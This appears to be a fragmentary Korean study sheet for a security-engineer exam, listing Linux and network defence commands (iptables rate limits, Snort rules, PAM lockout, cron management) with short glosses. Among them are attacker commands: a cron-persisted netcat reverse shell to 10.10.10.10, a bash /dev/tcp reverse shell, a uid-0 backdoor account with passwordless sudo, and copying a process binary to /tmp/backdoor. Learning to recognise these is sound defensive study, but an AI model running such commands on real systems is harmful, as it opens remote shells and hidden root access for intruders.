disable monitor
설정 추가ntpdc -c monlist 192.168.0.1
alert tcp 192.168.1.0/24 any -> any any (content: !"데이터")
alert tcp any any -> any 23 (msg: "TELNET"; content: "anonymous"; offset:0; depth:3;)
iptables -A INPUT -p tcp --dport 80 -m recent --name hi --update --seconds 2 --hitcount 30 -j DROP
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --name hi --update --seconds 2 --hitcount 30 -j DROP
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 5 -j DROP
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m connlimit --connlimit-above 5
deny=5, unlock_time=120
: 120초 후 잠금 해제no_magic_root
: 루트 계정은 잠금 안 함reset
: 로그인 성공 시 실패 횟수 초기화chmod 700 /etc/shadow
* * * * * root /usr/nc 10.10.10.10 80 -e /bin/bash
systemctl stop cron
systemctl start cron
systemctl restart cron
service cron stop
service cron start
service cron restart
crontab -u username -r
nc -lp 8080
nc.exe 192.168.0.1 8080 -e cmd
netcat 옵션 설명:
-e /bin/bash
: 연결 성공 시 bash 쉘 실행-l
: 리스닝 모드 설정-p 8080
: 리스닝할 포트 번호 지정useradd -o -u 0 -g 0 -d /root algisa
-o
: uid 중복 허용-d /root
: 홈 디렉토리를 root로 설정algisa
: 사용자명last
chattr -i file/path
ls /proc/1234
cat /proc/1234/cmdline
algisa ALL=(ALL) NOPASSWD: ALL
ALL=(ALL)
: 모든 호스트에서NOPASSWD: ALL
: sudo 사용 시 비밀번호 인증 없이 바로 사용 가능algisa ALL=(ALL) ALL
사용자명 IP(사용자명) 허용할_명령어
cp /proc/1234/exe /tmp/backdoor
/bin/bash > /dev/tcp/10.10.10.10/8080 0<&1
iptables -A OUTPUT -p udp --sport 123 -m length --length 100: -j DROP